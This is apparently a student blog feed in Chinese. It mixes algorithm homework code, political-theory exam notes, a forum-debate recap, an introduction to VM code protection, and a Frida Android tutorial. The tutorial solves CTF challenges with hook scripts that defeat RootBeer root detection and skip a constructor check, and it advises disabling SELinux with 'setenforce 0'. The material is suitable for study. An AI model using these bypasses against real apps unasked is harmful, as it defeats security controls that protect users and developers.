    for (int i = 1; i <= N; i++) {
24
        parent[i] = i;
25
        city[i] = i;    // 初始时炸弹i在城市i
26
        size[i] = 1;    // 每个城市初始有1个炸弹
27
    }
28

29
    while (Q--) {
30
        int op, a, b;
31
        scanf("%d", &op);
32

33
        if (op == 1) {
34
            scanf("%d %d", &a, &b);
35
            int ra = find(a);
36
            int rb = find(b);
37

38
            if (ra == rb) {
39
                printf("ERROR\n");
40
            } else {
41
                // 把a所在城市的所有炸弹转移到b所在城市
42
                // 合并集合，以rb为新的根
43
                parent[ra] = rb;
44
                size[rb] += size[ra];
45
                size[ra] = 0;
46
                // 更新城市编号：整个集合现在都在city[rb]城市
47
                city[rb] = city[rb]; // 保持不变
48
                // 注意：这里不需要更新city[ra]，因为ra不再是根节点
49
            }
50
        } else {
51
            scanf("%d", &a);
52
            int root = find(a);
53
            printf("%d %d\n", city[root], size[root]);
54
        }
55
    }
56

57
    return 0;
58
}

展开收起

道路#

★实验任务

某省调查城镇交通状况，得到现有城镇道路统计表，现给出每条道路连接的城镇编号，问当前的道路设计方案是否合理。

合理的方案为任意两个城镇之间可以相互到达，有且只有一条通路。

★数据输入

输入a b(1<=a,b<=10,000)，表示城镇 a 和城镇 b 连通。输入包含多组数据，每组数据以 0 0 结束。

整个文件以 -1 -1 结尾

★数据输出

如果方案合法，输出”Yes”,否则输出”No”。

1
#include<iostream>
2
#include<unordered_set>
3
using namespace std;
4
const int MAXN = 10005;
5
int parent[MAXN];
6
unordered_set<int> nodes;
7

8
int find(int x) {
9
    if (parent[x] != x) {
10
        parent[x] = find(parent[x]);
11
    }
12
    return parent[x];
13
}
14

15
void init() {
16
    for (int i = 1; i < MAXN; ++i) {
17
        parent[i] = i;
18
    }
19
    nodes.clear();
20
}
21

22
int main() {
23
    int a, b;
24
    while (cin >> a >> b) {
25
        if (a == -1 && b == -1) break;
26
        init();
27
        bool has_cycle = false;
28
        int edge_count = 0;
29
        while (a != 0 || b != 0) {
30
            nodes.insert(a);
31
            nodes.insert(b);
32
            edge_count++;
33
            int rootA = find(a);
34
            int rootB = find(b);
35
            if (rootA == rootB) {
36
                has_cycle = true;
37
            }
38
      else {
39
                parent[rootA] = rootB;
40
            }
41
            cin >> a >> b;
42
        }
43
        if (has_cycle) {
44
            cout << "No\n";
45
        }
46
    else {
47
            if (nodes.empty()) {
48
                cout << "Yes\n";
49
            }
50
      else {
51
                int root = find(*nodes.begin());
52
                bool connected = true;
53
                for (int node : nodes) {
54
                    if (find(node) != root) {
55
                        connected = false;
56
                        break;
57
                    }
58
                }
59
                if (connected && edge_count == nodes.size() - 1) {
60
                    cout << "Yes\n";
61
                }
62
        else {
63
                    cout << "No\n";
64
                }
65
            }
66
        }
67
    }
68
    return 0;
69
}

展开收起

图#

图论难题#

好难 QAQ 考了

★问题描述

数据结构与算法课程里面有各种求解最短路的算法，比如floyd算法、dijkstra算法、bellman算法。但该难题需要求解的不是最短路，而是求最短路的路径条数。

★实验任务

我们定义从source到达target的路径：source → u → v → target是最短路，当且仅当该路径里面的所有边 (u，v) 满足：存在一条从v出发到终点的路径长度小于任意一条从u出发到终点的路径长度。

对于给定的一个无向无自环的图给你一个起点和一个终点，求出从起点到终点的最短路的路径条数。

★数据输入

第一行有两个正整数N (1<=N<=1000), M (0<=M<=N(N−1)2\frac{N(N-1)}{2}2N(N−1))。N代表图G的顶点个数,M代表图G有M条边。

接下来一共有 M 条边的描述，每条边的描述有三个整数 u (1<=u<=N), v (1<=v<=N), len (1<=len<=1000)。代表从u点到v点有一条边，且边的长度为len。数据保证u!=v且不会出现重边。

最后一行有两个整数 S (1<=S<=N), T (1<=T<=N)，分别表示起点和终点。

★数据输出

输出一行为从S到T的最短路条数，如果S根本就走不到T就输出-1

1
#include <iostream>
2
#include <vector>
3
#include <queue>
4
#include <algorithm>
5
#include <cstring>
6
using namespace std;
7

8
typedef long long ll;
9
const int MAXN = 1005;
10
const int INF = 0x3f3f3f3f;
11

12
int N, M, S, T;
13
vector<pair<int, int>> graph[MAXN];
14
int dist[MAXN];
15
bool visited[MAXN];
16
vector<int> dag[MAXN];
17

18
void dijkstra(int start) {
19
    memset(dist, 0x3f, sizeof(dist));
20
    memset(visited, false, sizeof(visited));
21
    dist[start] = 0;
22
    priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> pq;
23
    pq.push({0, start});
24

25
    while (!pq.empty()) {
26
        int d = pq.top().first;
27
        int u = pq.top().second;
28
        pq.pop();
29

30
        if (visited[u]) continue;
31
        visited[u] = true;
32

33
        for (auto &e : graph[u]) {
34
            int v = e.first;
35
            int w = e.second;
36
            if (dist[v] > d + w) {
37
                dist[v] = d + w;
38
                pq.push({dist[v], v});
39
            }
40
        }
41
    }
42
}
43

44
int main() {
45
    cin >> N >> M;
46
    for (int i = 0; i < M; i++) {
47
        int u, v, len;
48
        cin >> u >> v >> len;
49
        graph[u].push_back({v, len});
50
        graph[v].push_back({u, len});
51
    }
52
    cin >> S >> T;
53

54
    // 计算从T到所有点的最短距离
55
    dijkstra(T);
56

57
    if (dist[S] == INF) {
58
        cout << -1 << endl;
59
        return 0;
60
    }
61

62
    // 构建DAG：只包含从距离大的点指向距离小的点的边
63
    for (int u = 1; u <= N; u++) {
64
        for (auto &e : graph[u]) {
65
            int v = e.first;
66
            // 只添加满足条件的边：dist[u] > dist[v]
67
            if (dist[u] > dist[v]) {
68
                dag[u].push_back(v);
69
            }
70
        }
71
    }
72

73
    // 按到T的距离升序排序所有顶点（距离小的先处理）
74
    vector<int> nodes;
75
    for (int i = 1; i <= N; i++) {
76
        if (dist[i] < INF) {
77
            nodes.push_back(i);
78
        }
79
    }
80
    sort(nodes.begin(), nodes.end(), [](int a, int b) {
81
        return dist[a] < dist[b];
82
    });
83

84
    // 动态规划计算路径条数
85
    vector<ll> dp(N + 1, 0);
86
    dp[T] = 1;
87

88
    for (int v : nodes) {
89
        if (v == T) continue;
90
        for (int u : dag[v]) {
91
            dp[v] += dp[u];
92
        }
93
    }
94

95
    // 输出路径条数
96
    cout << dp[S] << endl;
97

98
    return 0;
99
}

展开收起

最小生成树#

★问题描述

给定平面上的n个点，添加一些边使得任何两个点之间都能相互到达，求添加的边的长度总和最小为多少

★数据输入

第一行一个正整数n(1<=n<=5000)，表示序列有n个点，接下来有n行，每行两个整数xi和yi，（-1000000≤xi,yi≤1000000），表示n个点的坐标

★数据输出

添加的边的长度总和的最小值，四舍五入保留两位小数

1
#include <iostream>
2
#include <cmath>
3
#include <cstring>
4
using namespace std;
5

6
const int N = 5005;
7
double x[N], y[N]; // 坐标
8
double dist[N]; // 边长
9
bool vis[N]; // 树
10

11
int main() {
12
    int n;
13
    cin >> n;
14
    for (int i = 1; i <= n; i++)
15
        cin >> x[i] >> y[i];
16

17
    for (int i = 1; i <= n; i++)
18
        dist[i] = 1e18;
19

20
    dist[1] = 0;        // 从第 1 个点开始做 Prim
21
    double ans = 0;
22

23
    for (int i = 1; i <= n; i++) {
24
        int u = -1;
25

26
        // 找当前未加入 MST 的最近点
27
        for (int j = 1; j <= n; j++) {
28
            if (!vis[j] && (u == -1 || dist[j] < dist[u]))
29
                u = j;
30
        }
31

32
        vis[u] = true;
33
        ans += dist[u];
34

35
        // 用 u 更新其他点的最小连边
36
        for (int v = 1; v <= n; v++) {
37
            if (!vis[v]) {
38
                double dx = x[u] - x[v];
39
                double dy = y[u] - y[v];
40
                double d = sqrt(dx*dx + dy*dy);
41
                if (d < dist[v]) dist[v] = d;
42
            }
43
        }
44
    }
45

46
    printf("%.2f\n", ans);
47
    return 0;
48
}

展开收起

理论部分#

破防了！弃坑！

2025福州大学习概期末复习

Tue, 02 Dec 2025 20:57:06 GMT

试卷结构：

单选题 20 * 1
多选题 10 * 2
简答题 4 * 5
材料分析题 20
论述题 20

单选题和多选题有题库；简答题有题纲；材料题关注教材第十一章（民生）；论述题关注二十届四中全会公报

简答题部分#

一题就 5 分，不用多答

第一章#

简述当前我国主要矛盾人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾
如何理解“四个全面”战略布局新内涵 “全面建成小康社会、全面深化改革、全面依法治国、全面从严治党”。全面建成小康社会后，又发展出“全面建设社会主义现代化国家”
中国共产党的初心使命是什么为中国人民谋幸福，为中华民族谋复兴

第二章#

什么是中国梦实现中华民族伟大复兴
如何理解中国式现代化是人口规模巨大的现代化我国全体人民整体迈入现代化，规模超过现有发达国家人口的总和，将极大地改变现代化的世界版图
如何理解中国式现代化是全体人民共同富裕的现代化中国式现代化坚持以人民为中心，突出现代化方向的人民性，在高质量发展中不断增进人民福祉，扎实推动全体人民共同富裕
如何理解中国式现代化是物质文明和精神文明相协调的现代化物质贫困不是社会主义，精神贫乏也不是社会主义。物质富足、精神富有是社会主义现代化的根本要求
如何理解中国式现代化是人与自然和谐共生的现代化中国式现代化坚持绿色发展，统筹推进经济社会发展和环境保护，确保可持续发展
如何理解中国式现代化是走和平发展道路的现代化中国式现代化坚持独立自主、自力更生，依靠全体人民的辛勤劳动和创新创造发展壮大自己

第三章#

简述“两个拥护”的内涵坚决维护习近平总书记党中央的核心、全党的核心地位，坚决维护党中央权威和集中统一领导
如何理解中国共产党在国家政治生活中的领导核心地位在当今中国，没有大于中国共产党的政治力量或其他什么力量。党政军民学，东西南北中，党是领导一切的，是最高的政治领导力量。
如何理解民主集中制基本原则中第一条的内涵党员个人服从党的组织，少数服从多数，下级组织服从上级组织，全党各个组织和全体党员服从党的全国代表大会和中央委员会
简述“四个意识”的内涵政治意识、大局意识、核心意识、看齐意识

第四章#

如何理解“人民是历史的创造者，是真正的英雄” 人民群众是社会物质财富、精神财富的创造者和社会变革的决定性力量
如何理解“人民立场” 政治立场是一个政党观察、认识、处理政治问题的立足点，反映了这个政党的世界观、方法论和执政理念，体现了这个党的根本属性。人民立场是中国共产党的根本政治立场，是我们党区别于其他政党的显著标志
如何依靠人民创造历史伟业尊重人民的主体地位，尊重群众的首创精神

第五章#

简述全面深化改革的总目标完善和发展中国特色社会主义制度，推进国家治理体系和治理能力现代化
简述国家治理体系的内涵国家治理体系是在党领导下管理国家的制度体系，包括经济、政治、文化、社会、生态文明和党的建设等各领域体制机制、法律法规安排，也就是一整套紧密相连、相互协调的国家制度
简述国家治理能力的内涵国家治理能力是运用国家制度管理社会各方面事务的能力，包括改革发展稳定、内政外交国防、治党治国治军等各个方面

第六章#

简述新发展理念的内容创新、协调、绿色、开放、共享的发展方式
简述社会主义基本经济制度的新概括公有制为主体、多种所有制经济共同发展；按劳分配为主体、多种分配方式并存；社会主义市场经济体制
简述公有制经济的组成国有经济、集体经济和混合所有制经济中的国有成分与集体成分
简述非公有制经济的组成个体经济、私营经济、港澳台投资、外商投资（外资经济）和混合所有制经济中的非国有成分与非集体成分
简述两个“毫不动摇”的内容毫不动摇地巩固和发展公有制经济，毫不动摇地鼓励、支持和引导非公有制经济发展
简述新发展格局的内涵以国内大循环为主体、国内国际双循环相互促进的经济发展模式

第八章#

简要回答“全过程人民民主”的内涵全过程人民民主实现了过程民主和成果民主、程序民主和实质民主、直接民主和间接民主、人民民主和国家意志相统一，是全链条、全方位、全覆盖的民主，是最广泛、最真实、最管用的社会主义民主。
坚持走中国特色社会主义政治发展道路的三个支点是什么党的领导、人民当家作主、依法治国有机统一
简述人民当家作主的制度保障人民代表大会制度（根本）；中国共产党领导的多党合作和政治协商制度、民族区域自治制度、基层群众自治制度（基本、重要）

第十章#

如何理解文化自信文化自信是更基础、更广泛、更深层的自信，是一个国家、一个民族发展过程中最基本、最深沉、最持久的力量
简述“两个结合”的内容把马克思主义基本原理同中国具体实际相结合、同中华优秀传统文化相结合
什么是中华优秀传统文化的创造性转化和创新性发展创造性转化，就是要按照时代特点和要求，对那些至今仍有借鉴价值的内涵和陈旧的表现形式加以改造，赋予其新的时代内涵和现代表达形式，激活其生命力。创新性发展，就是要按照时代的新进步新进展，对中华优秀传统文化的内涵加以补充、拓展、完善，增强其影响力和感召力。
简述文化发展“二为”方向的内容为人民服务，为社会主义服务
简述“双百”方针的内容百花齐放，百家争鸣
简述“文化软实力”的内涵文化软实力集中体现了一个国家基于文化而具有的凝聚力和生命力，以及由此产生的吸引力和影响力。

第十一章#

简述“民生”的内涵民生是老百姓最关心的问题，涉及分配、就业、教育、医疗、住房、社会保障等方面。随着经济社会的发展进步，人民生活品质的不断提高，民生内涵也在不断丰富
简述社会保障体系的内涵社会保障体系是由国家立法规定并以国家作为给付义务主体，为保障社会成员的基本生活和福利、对生活困难社会成员给予物质或服务帮助的各项措施的统称，主要涉及社会保险、社会救助、社会福利、社会优抚等方面。
如何理解社会治理体系中的“共建”原则共建是共同参与社会建设，要求突出制度和体系建设的基础性、战略性地位，是社会治理的基础
如何理解社会治理体系中的“共治”原则共治是共同参与社会治理，要求树立大社会观、大治理观，打造全民参与的开放治理体系，是社会治理的关键
如何理解社会治理体系中的“共享”原则共享是共同享有社会治理成果，要求社会治理的成效更多更惠及全体人民，是社会治理的目标

第十二章#

简述“两山理论”的内容一是既要绿水青山，也要金山银山；二是宁要绿水青山，不要金山银山；三是绿水青山就是金山银山
简述“双碳”目标的内容 2030 年前实现碳达峰，2060 年前实现碳中和
简述“人与自然生命共同体”的内涵生态是统一的自然系统，是相互依存、紧密联系的有机链条。人的命脉在田，田的命脉在水，水的命脉在山，山的命脉在土，土的命脉在林和草，这个生命共同体是人类生存发展的物质基础
如何理解全球生态治理过程中的中国角色中国致力于推动共建地球生命共同体，积极参与全球环境治理，是全球生态文明建设的重要参与者、贡献者、引领者

第十三章#

简述国家安全的内涵国家安全是指国家政权、主权、统一和领土完整、人民福祉、经济社会可持续发展和国家其他重大利益相对处于没有危险和不受内外威胁的状态，以及保障持续安全状态的能力
如何理解政治安全政治安全涉及国家主权、政权、制度和意识形态的稳固，是一个国家最根本的需求，是国家赖以生存和发展的基础条件
如何理解“统筹发展与安全” 发展是安全的基础和目的，安全是发展的条件和保障，要坚持发展和安全并重
列举 5 个中国国家安全重点领域国土安全、经济安全、社会安全、网络安全、生物安全、公共卫生安全、外部安全等

第十六章#

简述“推动构建新型国际关系”的内涵推动构建新型国际关系，就是要秉持相互尊重、公平正义、合作共赢原则，走出一条对话而不对抗、结伴而不结盟的国与国外交新路。
什么是中国外交的神圣使命维护国家主权、安全和发展利益
简述一带一路倡议的内涵共建“一带一路”是对中国与世界实现开放共赢路径的顶层设计，是推动构建人类命运共同体的实践平台。
简述“外交为民”的内涵中国外交始终坚守外交为民的宗旨，把为民服务、为民解忧作为重要职责，把人民的满意度作为重要标尺，坚持把中国人民的利益和全人类共同利益联系在一起，促进各国人民相互了解、相互支持、相互帮助
简述“建设五个世界”总目标内容坚持对话协商，建设一个持久和平的世界；坚持共建共享，建设一个普遍安全的世界；坚持合作共赢，建设一个共同繁荣的世界；坚持交流互鉴，建设一个开放包容的世界；坚持绿色低碳，建设一个清洁美丽的世界。

B3 卷考后回忆版#

客观题部分#

难度不会太大，建议找个同伴齐头复习，随时提问。有些题目的答案甚至会在其他题目的题干中有所呈现。

简答题部分#

简述“四个全面”战略布局新的时代内涵
如何理解“人民立场”
简述国家治理能力的内涵
如何理解“统筹发展与安全”

材料题部分#

材料

为人民而生，因人民而兴，始终同人民在一起，为人民利益而奋斗，是我们党立党兴党强党的根本出发点和落脚点。习近平总书记指出：“中国共产党始终代表最广大人民根本利益，与人民休戚与共、生死相依，没有任何自己特殊的利益，从来不代表任何利益集团、任何权势团体、任何特权阶层的利益。”100 年来，为了人民幸福和民族复兴，我们党团结带领中国人民，以“为有牺牲多壮志，敢教日月换新天”的大无畏气概，书写了中华民族几千年历史上最恢宏的史诗，创造了新民主主义革命的伟大成就，创造了社会主义革命和建设的伟大成就，创造了改革开放和社会主义现代化建设的伟大成就，创造了新时代中国特色社会主义的伟大成就。特别是党的十八大以来，中国特色社会主义进入新时代，我们党团结带领中国人民，自信自强、守正创新，统揽伟大斗争、伟大工程、伟大事业、伟大梦想，党和国家事业取得历史性成就、发生历史性变革，中华民族迎来了从站起来、富起来到强起来的伟大飞跃，实现中华民族伟大复兴进入了不可逆转的历史进程！ ——人民日报《人民对美好生活的向往就是我们的奋斗目标》

结合材料内容和所学知识，谈谈为什么让人民生活幸福是“国之大者”。

论述题部分#

阅读（实际上并没给任何材料）二十届四中全会公报内容，结合所学知识和党的创新理论，谈谈如何推动高质量发展。

Frida 入门

Mon, 01 Dec 2025 17:19:41 GMT

Frida 是一个知名的 Hook 框架接下来我们主要以 Android Hook 为主题进行讲解

环境配置#

分别在 PC 和目标 Android 上配置 Frida：

Terminal window

1
# 我使用 UV 管理 Python，因此没有一个全局的 Python
2
# uv venv --seed --clear venv
3
# venv\Scripts\activate
4

5
pip install frida frida-tools

记住 Frida 版本：

Terminal window

1
$ pip show frida
2

3
Name: frida
4
Version: 17.5.1

在 ADB shell 中查看 Android 设备架构：

Terminal window

1
$ uname -m
2

3
aarch64

Note

一般来讲，模拟器采用 x86-64，真机采用 arm64（即此处的 aarch64）

在 Releases · frida/frida 下载对应版本的 Frida-server，例如此处应下 frida-server-17.5.1-android-arm64.xz。

解压得到的文件传输到 Android 上：

Terminal window

1
adb push frida-server-17.5.1-android-arm64 /data/local/tmp/

在 Android 上启动服务端：

Terminal window

1
adb shell
2
su # 需要在 Root 下运行，否则 SELinux 会报错
3
cd /data/local/tmp
4
chmod +x ./frida-server-17.5.1-android-arm64 # 赋予执行权限
5
./frida-server-17.5.1-android-arm64
6
 # 无报错即服务端正常运行

现在就可以用 Frida 了 😊

Frida 调试基础#

Android 每个 APP 都运行在自己独立的虚拟机和沙盒中，如果每个 APP 的运行时环境都不共享，那么资源消耗是很恐怖的。而 Android 提供了 Zygote 进程，所有 APP 都是由 Zygote fork 出来的：

Terminal window

1
init
2
└── Zygote（已预加载所有 Framework 类）
3
    ├── system_server
4
    ├── com.tencent.mm
5
    └── com.example.yourapp  ← 你要分析的 APP

Zygote 的作用是：提前把 Android Framework 所有的类加载好，每次 fork 新进程时直接继承，不用重新初始化。这样做可以实现极速启动和节省内存.

两种模式：Spawn（生成）和 Attach（附加）。Spawn 模式是从头启动应用并调试，Attach 模式是在应用运行时才开始调试。Spawn 模式下，Frida 利用 Zygote 控制进程创建，可以在业务代码运行前完成 Hook；Attach 模式下，APP 的 Application.onCreate 等初始化逻辑已经执行完，注入太晚。因此对抗加固的场景大多用 Spawn 模式。

但 Spawn 模式也可以被某些 APP 检测到。

Spawn 模式：

Terminal window

1
frida -U -f <TARGET> -l <SCRIPT>

TARGET：APP 包名或可执行文件名
SCRIPT：用于调试的 Python, JS 或 TS 脚本。自己写或者用已有的。如果不附带脚本，则进入交互式调试。

TARGET 需要的包名可以通过 frida-ps -Ua（运行中的应用）/frida-ps -Uai（安装的应用）得到。

Spawn 方式启动后，会立刻暂停运行。需要继续运行，需要手动输入：%resume

旧版本有一个 --no-pause 会自动运行，但新版本已不支持。

Attach 模式：

Terminal window

1
frida -U -N TARGET -l SCRIPT

如何处理 I/O error

解决方法：Root + 设置 setenforce 0 + Reboot

“Failed to enumerate processes: unable to perform ptrace pokedata: I/O error” on rooted Android (SELinux Enforcing)

frida-ps -U Failed to enumerate processes: unable to perform ptrace pokedata: I/O error

怎么写好一个调试脚本#

脚本主要有三类内容：

Interceptor（拦截器）：实现 Hook 函数、打印参数等调试操作。每次匹配到（对应函数），都会触发执行代码。
ApiResolver（解析器）：模糊查找相关函数。只有第一次（解析时）匹配到，才会执行。
Stalker（跟踪器）：跟踪代码的实际运行的过程。期间可以打印和查看对应的值，便于实现调试真正代码运行的逻辑。

对于 JS 脚本，一个简单的 CTF 示例如下：

1
// 所有 Java API 调用必须在 Java.perform() 回调中执行
2
Java.perform(function () {
3
  // 获取目标类的引用
4
  var Vault = Java.use("com.heroctf.freeda1.utils.Vault");
5

6
  // 尝试调用目标方法并处理异常。延迟 1000ms 执行以减少 bug
7
  setTimeout(function () {
8
    try {
9
      var flag = Vault.get_flag();
10
      console.log("[SUCCESS] Flag: " + flag);
11
    } catch (e) {
12
      console.log("[ERROR] " + e);
13
    }
14
  }, 1000);
15
});

这个的脚本的目的是直接获取 Vault 类下的 get_flag() 方法的输出，得到 flag。

一些常用方法：

API名称	描述
`Java.use(className)`	获取指定的 Java 类并使其在 JavaScript 代码中可用。
`Java.perform(callback)`	确保回调函数在 Java 的主线程上执行。
`Java.choose(className, callbacks)`	枚举指定类的所有实例。
`Java.cast(obj, cls)`	将一个 Java 对象转换成另一个 Java 类的实例。
`Java.enumerateLoadedClasses(callbacks)`	枚举进程中已经加载的所有 Java 类。
`Java.enumerateClassLoaders(callbacks)`	枚举进程中存在的所有 Java 类加载器。
`Java.enumerateMethods(targetClassMethod)`	枚举指定类的所有方法。

绕过检测#

要用 Frida-server 调试的前提就是 Root，但显然大部分应用都不希望自己被 Frida 或者 Root 调戏，因此会做 Root 检测，一检测到特征就停止程序运行。

但是，代码总是有执行顺序的，只要我在检测前就把特征检测方法给 Hook 掉，你不就检查不出来了吗？另一种就是“打入内部”，将 Frida-gadget 植入程序，可以实现免 Root 的 Hook。

1
package com.heroctf.freeda2.utils;
2

3
import android.content.Context;
4
import com.scottyab.rootbeer.RootBeer;
5

6
/* compiled from: r8-map-id-baa4c77f810b701c3077d4ce68a3d5b79ee91034c03e266e8ba1aed7e464c1a1 */
7
/* loaded from: classes.dex */
8
public final class Security {
9
    private Security() {
10
    }
11

12
    public static boolean detectRoot(Context context) {
13
        return new RootBeer(context).isRooted();
14
    }
15
}

1
Java.perform(function () {
2
  console.log("[+] Bypassing root detection...");
3

4
  // 绕过 RootBeer
5
  var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
6
  RootBeer.isRooted.implementation = function () {
7
    console.log("[+] RootBeer.isRooted() bypassed");
8
    return false;
9
  };
10

11
  // 绕过 Vault 构造函数检测
12
  var Vault = Java.use("com.heroctf.freeda2.utils.Vault");
13
  Vault.$init.implementation = function () {
14
    console.log("[+] Vault constructor bypassed");
15
    // Don't call original constructor
16
  };
17

18
  setTimeout(function () {
19
    try {
20
      var flag = Vault.get_flag();
21
      console.log("[SUCCESS] Flag: " + flag);
22
    } catch (e) {
23
      console.log("[ERROR] " + e);
24
    }
25
  }, 1000);
26
});

展开收起

RootBeer 是一个简单的 Root 权限检查库。作者也在 README 中坦陈 RootBeer 可以被绕过（查看 Bypassing Android’s RootBeer Library — Part 1）

本题仅使用 RootBeer 的综合检测方法 isRooted() 来检测 Root，这倒是为我们省去了不少麻烦，因为我们只需要 Hook isRooted() 就行了。

Native Hook#

与 Java 层不同，Native 层的函数是分散在 so 文件中的。在 Hook 前，Frida 需要找到目标函数，因为 so 是动态加载的。

记一场贴吧交流

Sat, 22 Nov 2025 01:19:15 GMT

这几天在 FZU 贴吧里参加一场“讨论”（你福里面的伪人还是有点东西的）。正好最近还刷到了一个讲“诡辩”的视频，正巧没地方应用，这下机会来了。

思来想去，也搬史过来给各位读者瞧瞧，看看哪方有理。毕竟观众也是辩论的重要一环 ^-^

Note

我使用 ChatGPT 进行逻辑辅助，即先检查我的回答中逻辑是否足以反驳对方的观点；具体表达基本由我自己查阅资料后写出。我与 ChatGPT 的交流，详见支持哪方观点分析

Question

你能找出这里哪些地方运用了诡辩吗？

以下是帖子里的交流内容，为了节省篇幅，仅节选我和 TA 的交流。TA 的交流以灰色注释形式给出。

[!background] 有人在学校表白墙上发了一篇声讨不规范骑电动车的文章，评论区内抱怨违法的和讽刺守法的开始争吵

我是认为如果你能保持每时每刻全部遵守交规你才能站在制高点上指指点点，五十步笑百步的就别在这显摆优越感了

建议您先搜一下“诉诸人身”再重新审视一下自己的观点。“……毕竟，大家都是半斤八两，你王美丽不过是五十步笑百步罢了，也好不到哪里去。张小帅最后的这种想法，也是一种诉诸人身的谬误，其拉丁名字叫Tu quoque，意思是‘你也一样’。它又叫诉诸伪善谬误。”

比烂不可取。极端一点，我是否可以认为，基于你的说法，连交警都可能无法依法规劝违规行为，因为你无法保证 TA 曾经是否也违反过交规？

交警的依规处理国家赋予的权利，你一个普通公民有执法权？

我有说“执法”吗？我说的是依法“规劝”：“公民以规劝维护公共安全，如劝阻公交车纠纷时体现的正当性受到司法保护” 当然，交警的执法权利有法律保护，这是事实。但是，其他人就不能“规劝”他人守法吗？

“对违反道路交通安全的行为，任何人都有权劝阻和控告”——《福建省道路交通管理实施办法》（1991年） “任何单位和个人都……有权劝阻、举报道路交通安全违法行为，报告道路交通安全隐患”——《山东省实施道路交通安全责任制规定》/浙江省实施《中华人民共和国道路交通安全法》办法

这件事属于规劝吗？在网上骂，输出情绪，真规劝当场啊
说白了，法律上你要不当场和他吵，在网上说没屁用，道德上，你自己都在违法，有什么立场，己所不欲勿施于人，真正解决问题，也没有，都在输出情绪

首先，“规劝”不限于线下，否则各类安全公众号所发布的内容都是无用功——毕竟线上劝没用，一定要现实中“不撞南墙不回头”；其次，我一再强调，“违规过”不代表不能“批评”；再者，不能立刻解决问题不等于没价值，不说才是真正永远解决不了问题。最后，互联网确实是情绪化的。

“社交平台成为公众抒发个人意见、释放情绪，缓解生活压力的主要渠道”。按你的说法，我也可以认为，除非你没有过在互联网上“输出情绪”的时候，否则你也没有权利去阻止别人“情绪输出”；你的回复同样没有解决问题，甚至可能扩大化了问题。那么，我的建议是：把嘴巴闭一闭

第一，在原贴发言的没有规劝意味，只是骂，我不认为有帮助，公众号是在温和劝导，方式不对，效果不同，这样只会骂战，无意义，第二，违规过可以批评，前提是你改了，问题是所有在这边骂的人，在对自己的时候就开始双标，他在这边骂，下次自己开车一样违反，一样不带头盔，他有什么资格骂他人，事实上他自己和你都清楚这是不可避免的，但还在骂，只不过是在网上看不到你们自己的丑态，可以对一个虚拟形象施暴，展现自己的道德优越，第三，我不是在阻止情绪输出，我在反对过度理想化的非黑即白，我在请求在网络环境进行有意义的可实施性方案的探讨，而不是对立，双方输出情绪，让问题回归问题

1.情绪输出中也有TA的观点表达；温和劝导也未必能引导有效讨论 2.你无从知道对方是否“改过” 3.擅自将网络后的每个人都认为“可能犯过法”，是否也是一种“非黑即白”？

你23点罔顾现实

closed as not continued

虚拟机保护

Sun, 09 Nov 2025 20:52:31 GMT

最近和学长们打了一些大比赛，看了下来发现 VMP 有点多哈 😅。总不能每次见到就投降吧。

什么是 VMP#

VMP 全称是“基于虚拟机的代码保护技术” (Virtual Machine-Based Protection)。当然，和各位可能听到过的 VMWare 等不太一样，程序保护中的“虚拟机”更多像“解释器”：虚拟机先将原始代码翻译成其自己的专有字节码（这个过程称为虚拟化），然后在运行时解释并执行字节码对应语句。

专业点说，就是使用自己的一套指令集架构（指令、内存、寄存器、权限……）作为中间层，隐藏实际的通用架构指令。

这种保护技术的特点是，我们不能直接看到自己可能熟悉的原始指令；我们必须首先分析解释器，然后使用所获得的自定义指令集知识将专有字节码转换为我们熟悉的标准指令。

最基础的 VM#

用 C 的 switch-case 语句就能构建一个非常简单的 VM：

1
#include <stdio.h>
2

3
int vm(int* opcode, int opleng)
4
{
5
  int pc = 0;
6
  if(opleng <= 0)
7
  {
8
    printf("Invaild length of opcode array\n");
9
    return 1;
10
  }
11
  else
12
  {
13
    while(pc != opleng)
14
    {
15
      switch(opcode[pc])
16
      {
17
        // ...
18
        default:
19
          printf("Invalid opcode: 0x%x at position %d\n", opcode[pc], pc);
20
          return 2;
21
      }
22
      pc++;
23
    }
24
  }
25
  return 0;
26
}
27

28
int main(void)
29
{
30
  int opcode[] = {...};
31
  int opleng = sizeof(opcode) / sizeof(opcode[0]);
32

33
  vm(opcode, opleng);
34
  return 0;
35
}

展开收起

这个 VM 会按顺序执行 opcode[] 定义的的字节码，通过 switch(opcode[pc]) 指定如何解释字节码行为，还有基本的错误处理功能。

当然，这个 VM 是禁不住考验的：对于防守方，opcode 的复用性差劲，没有完全实现“解释器”功能；对于攻击方，整个架构太简单，VM 本身也变得需要保护。

从计组讲起#

指令执行的五个阶段分为取指 (Fetch)、译码 (Decode)、执行 (Execute)、访存、写回。VM 就是要部分模拟这个过程，一般是取指、译码、分发 (Dispatch)、执行。其中分发环节是 VM 设计的重点。

我们上面给出的简单 VM 就演示了 switch-case dispatch 这种分发方式。

以一道 CTF 题目为基础#

L3HCTF 2025 easyvm
视频：【星盟安全】L3HCTF 逆向方向 easyvm 讲解

字符串定位主函数：

1
sub_140005940();
2
v2 = std::operator<<<std::char_traits<char>>(a1, a2, "Welcome to L3HCTF2025!!!Do you love cpp and vm?", &std::cout);
3
std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v2);
4
sub_140011D30(a1, a2, v3, v29, v4, v5);
5
sub_140017DF0(a1, a2, &unk_140022040, v28, v6, v7);
6
sub_140010700(a1, a2, v28, v29, v8, v9);
7
v10 = std::operator<<<std::char_traits<char>>(a1, a2, "Explore this virtual machine and have fun!", &std::cout);
8
std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v10);
9
v11 = std::operator<<<std::char_traits<char>>(a1, a2, "Plz show me flag:", &std::cout);
10
std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v11);
11
sub_140011C40(a1, a2, v12, v29, v13, v14);
12
sub_140011AB0(a1, a2, v15, v29, v16, v17);
13
sub_140011AE0(a1, a2, v18, v29, v19, v20);
14
sub_140017FC0(a1, a2, v21, v28, v22, v23);
15
sub_140011DE0(a1, a2, v24, v29, v25, v26);

我们主要看提示输入 flag 后的这 4 个函数。

sub_140011C40 里面有一个格式化字符串 %s，猜测作用是读取输入的 flag。

sub_140011AB0 内的 sub_1400107E0 里有着大量的 switch-case 结构：

1
__int64 __fastcall sub_1400107E0(void *Ix, int a2, int a3, __int64 a4, int a5, int a6)
2
{
3
  unsigned __int64 v6; // rbx
4
  int v7; // r8d
5
